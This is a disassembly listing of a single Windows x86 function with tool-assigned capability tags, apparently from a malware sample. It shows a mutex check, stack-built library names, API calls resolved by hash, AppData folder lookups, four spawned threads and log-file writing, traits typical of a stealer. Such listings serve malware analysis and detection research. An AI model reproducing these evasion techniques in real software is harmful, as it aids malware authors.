Function at 0x4021e3
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push esi
push edi
push 0xda3
push 0x4084d4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x402207
jmp 0x402668
push 0x40803e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x402660
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402660
push 0x65
pop edx
lea ecx, [ebp - 0x28]
call fcn.00403bba
cmp dword [ebp - 0x24], 0
je 0x402637
push 0x11c
xor edx, edx
lea ecx, [ebp - 0x168]
call fcn.0040355e
pop ecx
mov dword [ebp - 0x168], 0x11c
lea ecx, [ebp - 0x168]
call fcn.004047cc
test eax, eax
jl 0x402637
call fcn.00402192
push dword [ebp - 0x15c]
push dword [ebp - 0x160]
push dword [ebp - 0x164]
push str.__OperationSystem:__d:_d:_d_r_n
push 0
call fcn.004035c3
add esp, 0x14
sub esp, 0x11c
push 0x47
pop ecx
lea esi, [ebp - 0x168]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404831
add esp, 0x11c
movzx eax, al
cmp eax, 1
jne 0x402637
mov ecx, 0x208
call fcn.004034f0
mov dword [0x4084ec], eax
mov ecx, 0x208
call fcn.004034f0
mov dword [0x4084cc], eax
mov ecx, 0x208
call fcn.004034f0
mov dword [0x4084f4], eax
cmp dword [0x4084ec], 0
je 0x4025c2
cmp dword [0x4084cc], 0
je 0x4025c2
cmp dword [0x4084f4], 0
je 0x4025c2
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0
mov dword [ebp - 0x38], 0xc7652b3f
and dword [ebp - 0x34], 0
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x10]
call fcn.004046ba
movzx eax, al
cmp eax, 1
jne 0x4025c2
call fcn.00401f03
push 4
pop eax
imul eax, eax, 0
cmp dword [eax + 0x40802c], 0x81f39c19
jne 0x4023b4
mov byte [ebp - 0x1c], 0x6b
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0
mov edx, 0x40802c
lea ecx, [ebp - 0x1c]
call fcn.004046ba
movzx eax, al
cmp eax, 2
je 0x4023b4
jmp 0x402668
push dword [0x4084cc]
push 0
push 0
push 0x1c
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x4023d8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084cc]
call fcn.00403623
mov word [0x4084d0], ax
push dword [0x4084f4]
push 0
push 0
push 0
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x40240d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084f4]
call fcn.00403623
mov word [0x4084f8], ax
push dword [0x4084ec]
push 0
push 0
push 0x1a
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x402442
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084ec]
call fcn.00403623
mov word [0x4084f0], ax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x4019cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x4c], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x405154
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x48], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push fcn.00401d2f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x44], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x404b88
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x40], eax
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x4c]
push eax
push 4
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.0040202a
mov byte [ebp - 1], 0
jmp 0x4024de
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, 3
jae 0x402518
movzx eax, byte [ebp - 1]
cmp dword [ebp + eax*4 - 0x4c], 0xffffffff
je 0x402516
push 2
pop eax
shl eax, 0
movzx eax, word [eax + 0x4084c0]
mov ecx, dword [0x4080b4]
mov dword [ecx + 1], eax
movzx eax, byte [ebp - 1]
push dword [ebp + eax*4 - 0x4c]
call dword [0x4080b4]
jmp 0x4024d6
mov dx, 2
mov ecx, 0x4084fc
call fcn.004051ee
mov dx, 1
mov ecx, 0x4084ca
call fcn.004051ee
mov byte [ebp - 2], 0x40
mov dx, 1
lea ecx, [ebp - 2]
call fcn.004051ee
movzx dx, byte [ebp - 2]
mov ecx, str.stil
call fcn.004051ee
mov byte [ebp - 3], 0x24
mov dx, 1
lea ecx, [ebp - 3]
call fcn.004051ee
movzx dx, byte [ebp - 3]
mov ecx, 0x40803e
call fcn.004051ee
mov ecx, 0x208
call fcn.004034f0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402595
push 0x208
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 8]
call fcn.00403623
shl eax, 1
mov word [ebp - 0x2c], ax
mov dx, 2
lea ecx, [ebp - 0x2c]
call fcn.004051ee
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
call fcn.004051ee
mov ecx, dword [ebp - 8]
call fcn.0040351e
push dword [0x408504]
push dword [0x408500]
mov edx, str._d.log
lea ecx, [ebp - 0x28]
call fcn.00403d5e
pop ecx
pop ecx
mov ecx, dword [0x408500]
call fcn.0040351e
mov ecx, dword [0x4084f4]
call fcn.0040351e
mov ecx, dword [0x4084cc]
call fcn.0040351e
mov ecx, dword [0x4084ec]
call fcn.0040351e
lea ecx, [ebp - 0x28]
call fcn.00403be3
mov dword [ebp - 0x3c], eax
call fcn.00402192
push dword [ebp - 0x3c]
push dword [ebp - 0x24]
call fcn.00405322
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x40262f
jmp 0x402619
mov ecx, dword [ebp - 0x24]
call fcn.0040351e
push 0x4084d4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 2
pop eax
shl eax, 1
movzx eax, word [eax + 0x4084c0]
mov ecx, dword [0x4080b4]
mov dword [ecx + 1], eax
push dword [ebp - 0x30]
call dword [0x4080b4]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret